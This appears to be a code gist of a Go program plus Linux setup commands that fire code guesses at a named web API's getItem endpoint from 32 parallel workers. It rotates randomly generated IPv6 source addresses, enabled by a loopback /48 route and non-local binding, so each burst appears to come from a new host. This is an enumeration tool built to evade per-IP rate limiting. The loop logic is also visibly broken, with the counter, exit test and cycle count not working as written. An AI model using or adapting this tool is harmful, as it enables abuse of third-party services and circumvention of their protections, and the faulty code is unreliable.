You need:
- IPv6 addresses (and a static route)
- A "to local" route
- The address range configured on the loopback interface
net.ipv6.ip_nonlocal_bind=1
package main | |
import ( | |
"math/rand" | |
"crypto/sha1" | |
"sync" | |
"context" | |
"io/ioutil" | |
"time" | |
"net" | |
"net/http" | |
"fmt" | |
"strconv" | |
) | |
func main() { | |
setLimits() | |
wg := &sync.WaitGroup{} | |
lock := &sync.Mutex{} | |
offset := uint64(123456789) | |
count := uint64(1000000) | |
i := offset | |
for n:=0; n<32; n++ { | |
wg.Add(1) | |
go func(workerN int) { | |
for ;; { | |
lock.Lock() | |
i += uint64(1) | |
task := strconv.FormatUint(count, 10) | |
if count > offset + count { | |
lock.Unlock() | |
return | |
} | |
lock.Unlock() | |
h := sha1.New() | |
h.Write([]byte(task)) | |
token := make([]byte, 4) | |
rand.Read(token) | |
h.Write(token) | |
digest := fmt.Sprintf("%x", h.Sum(nil)) | |
cycles := 0 | |
newAddr := "" | |
httpClient := &http.Client{} | |
if cycles % 32 == 0 { | |
newAddr = "2a0f:5381:cafe:" + digest[0:3] + ":" + digest[4:7] + ":" + digest[8:11] + ":" + digest[12:15] + ":" + digest[16:19] | |
httpClient = getHttpClient(newAddr, "2a0f:5381::103") | |
} | |
cycles += 1 | |
TestCode(task, httpClient) | |
httpClient.CloseIdleConnections() | |
} | |
wg.Done() | |
}(n) | |
} | |
wg.Wait() | |
} | |
func getHttpClient(localAddr string, remoteAddr string) *http.Client { | |
netDialer := &net.Dialer{ | |
Timeout: 3 * time.Second, | |
} | |
if localAddr != "" { | |
netDialer.LocalAddr = &net.TCPAddr{ | |
IP: net.ParseIP(localAddr), | |
} | |
} | |
dialContext := func(ctx context.Context, network, addr string) (net.Conn, error) { | |
return netDialer.DialContext(ctx, "tcp", net.JoinHostPort(remoteAddr, "443")) | |
} | |
transport := &http.Transport{ | |
Proxy: http.ProxyFromEnvironment, | |
ForceAttemptHTTP2: true, | |
MaxIdleConns: 100, | |
IdleConnTimeout: 90 * time.Second, | |
TLSHandshakeTimeout: 10 * time.Second, | |
ExpectContinueTimeout: 1 * time.Second, | |
} | |
if remoteAddr == "" { | |
transport.DialContext = (&net.Dialer{ | |
Timeout: 30 * time.Second, | |
KeepAlive: 30 * time.Second, | |
}).DialContext | |
} else { | |
transport.DialContext = dialContext | |
} | |
return &http.Client{ | |
Transport: transport, | |
} | |
} | |
func TestCode(code string, httpClient *http.Client) { | |
url := "https://gustav.fluep.ke/api/getItem?code=" + code | |
httpRequest, _ := http.NewRequest("GET", url, nil) | |
httpRequest.Header.Set("User-Agent", "") | |
httpResponse, err := httpClient.Do(httpRequest) | |
if err != nil { | |
fmt.Println(err) | |
return | |
} | |
body, err := ioutil.ReadAll(httpResponse.Body) | |
httpResponse.Body.Close() | |
print(string(body)) | |
} |
sudo ip addr add 2a0f:5381:cafe::1/48 dev lo | |
sudo ip route add to local 2a0f:5381:cafe::/48 dev lo | |
sudo sysctl -w net.ipv6.ip_nonlocal_bind=1 |
package main | |
import ( | |
"syscall" | |
"fmt" | |
) | |
func setLimits() { | |
var rLimit syscall.Rlimit | |
err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, &rLimit) | |
if err != nil { | |
fmt.Println("Error Getting Rlimit ", err) | |
} | |
rLimit.Cur = rLimit.Max | |
err = syscall.Setrlimit(syscall.RLIMIT_NOFILE, &rLimit) | |
if err != nil { | |
fmt.Println(err) | |
} | |
var rLimit2 syscall.Rlimit | |
err = syscall.Getrlimit(syscall.RLIMIT_NOFILE, &rLimit2) | |
if err != nil { | |
fmt.Println("Error Getting Rlimit ", err) | |
} | |
} |